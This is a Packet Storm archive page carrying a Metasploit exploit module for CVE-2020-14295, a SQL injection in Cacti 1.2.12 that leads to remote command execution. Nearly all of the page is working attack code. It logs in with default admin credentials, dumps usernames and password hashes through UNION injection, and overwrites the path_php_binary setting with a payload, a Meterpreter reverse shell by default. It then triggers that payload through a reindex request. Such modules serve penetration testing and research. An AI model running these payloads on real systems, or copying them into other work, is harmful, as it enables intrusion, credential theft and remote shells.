what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cacti 1.2.12 SQL Injection / Remote Command Execution

Cacti 1.2.12 SQL Injection / Remote Command Execution
Posted Jun 2, 2021
Authored by h00die, Leonardo Paiva, Mayfly277 | Site metasploit.com

This Metasploit module exploits a SQL injection vulnerability in Cacti versions 1.2.12 and below. An admin can exploit the filter variable within color.php to pull arbitrary values as well as conduct stacked queries. With stacked queries, the path_php_binary value is changed within the settings table to a payload, and an update is called to execute the payload. After calling the payload, the value is reset.

tags | exploit, arbitrary, php, sql injection
advisories | CVE-2020-14295
SHA-256 | 636d9fd6c79efe80bdd9f0da7f4060e559ca7cd87b6b1526a2a11e1ac747f750

Cacti 1.2.12 SQL Injection / Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/hashes/identify'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cacti color filter authenticated SQLi to RCE',
'Description' => %q{
This module exploits a SQL injection vulnerability in Cacti 1.2.12 and before. An admin can exploit the filter
variable within color.php to pull arbitrary values as well as conduct stacked queries. With stacked queries, the
path_php_binary value is changed within the settings table to a payload, and an update is called to execute the payload.
After calling the payload, the value is reset.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Leonardo Paiva', # edb, RCE
'Mayfly277' # original github, M4yFly on twitter SQLi
],
'References' =>
[
[ 'EDB', '49810' ],
[ 'URL', 'https://github.com/Cacti/cacti/issues/3622' ],
[ 'CVE', '2020-14295' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },
'Payload' =>
{
'BadChars' => "\x22\x27" # " '
},
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'Side Effects' => [ CONFIG_CHANGES, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
},
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2020-06-17',
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', 'admin']),
OptString.new('TARGETURI', [ true, 'The URI of Cacti', '/cacti/']),
OptBool.new('CREDS', [ false, 'Dump cacti creds', true])
]
)
end

def check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
)
return CheckCode::Safe("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

# cacti gives us the version in a JS variable
/var cactiVersion='(?<version>\d{1,2}\.\d{1,2}\.\d{1,2})'/ =~ res.body

if version && Rex::Version.new(version) <= Rex::Version.new('1.2.12')
vprint_good("Version Detected: #{version}")
return CheckCode::Appears
end
rescue ::Rex::ConnectionError
CheckCode::Safe("#{peer} - Could not connect to the web service") # unknown maybe?
end
CheckCode::Safe("Cacti #{version} is not a vulnerable version.")
end

def exploit
login

# optionally grab the un/pass fields for all users. While we're already admin, cred stuffing...
if datastore['CREDS']
# https://user-images.githubusercontent.com/23179648/84865521-a213eb80-b078-11ea-985f-f994d3409c72.png
print_status('Dumping creds')
res = inject("')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;")
return unless res
return if res.nil?
return if res.body.nil?

res.body.split.each do |cred|
/"(?<username>[^"]+)","(?<hash>[^"]+)"/ =~ cred
next unless hash
next if hash == 'hex' # header row

print_good("Username: #{username}, Password Hash: #{hash}")
report_cred(
username: username,
password: hash,
private_type: :nonreplayable_hash
)
end
end

print_status('Backing-up path_php_binary value')
res = inject("')+UNION+SELECT+1,value,3,4,5,6,7+from+settings+where+name='path_php_binary';")

# return value:
# "name","hex"
# "","FEFCFF"
# "/usr/bin/php","3"
if res && !res.body.nil?
php_binary = res.body.split.last # check to make sure we have something first before proceeding
fail_with(Failure::NotFound, "#{peer} - Unable to retrieve path_php_binary from server") if php_binary.nil?
php_binary = php_binary.split(',')[0].gsub('"', '') # take last entry on page, and split to value
end
fail_with(Failure::NotFound, "#{peer} - Unable to retrieve path_php_binary from server") unless php_binary
print_good("path_php_binary: #{php_binary}")

print_status('Uploading payload')
begin
pload = "#{php_binary} -r '#{payload.encoded}' #"
pload = Rex::Text.uri_encode(pload.gsub("'", "\\\\'"))
inject("')+UNION+SELECT+1,2,3,4,5,6,7;update+settings+set+value='#{pload}'+where+name='path_php_binary';")
print_good('Executing Payload')
trigger
ensure
resetsqli(php_binary)
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end

def login
cookie_jar.clear

print_status('Grabbing CSRF')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

/name='__csrf_magic' value="(?<csrf>[^"]+)"/ =~ res.body
fail_with(Failure::NotFound, 'Unable to find CSRF token') unless csrf

print_good("CSRF: #{csrf}")

print_status('Attempting login')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'login_username' => datastore['USERNAME'],
'login_password' => datastore['PASSWORD'],
'action' => 'login',
'__csrf_magic' => csrf
}
)

if res && res.code != 302
fail_with(Failure::NoAccess, "#{peer} - Invalid credentials (response code: #{res.code})")
end

res
end

def inject(content)
res = send_request_cgi(
'uri' => "#{normalize_uri(target_uri.path, 'color.php')}?action=export&header=false&filter=1#{content}--+-",
'keep_cookies' => true
)

if res && res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Injection Failed (response code: #{res.code})")
end
res
end

def trigger
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'host.php'),
'keep_cookies' => true,
'vars_get' => {
'action' => 'reindex'
}
)
end

def resetsqli(php_binary)
print_status('Cleaning up environment')
login # any subsequent requests with our cookie will fail, so we'll need to login a 2nd time to reset the database value correctly
print_status('Resetting DB Value')
inject("')+UNION+SELECT+1,2,3,4,5,6,7;update+settings+set+value='#{php_binary}'+where+name='path_php_binary';")
end

def report_cred(opts)
service_data = {
address: datastore['RHOST'],
port: datastore['RPORT'],
service_name: 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:username],
private_data: opts[:password],
private_type: opts[:private_type],
jtr_format: identify_hash(opts[:password])
}.merge(service_data)

login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: ''
}.merge(service_data)
create_credential_login(login_data)
end

end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close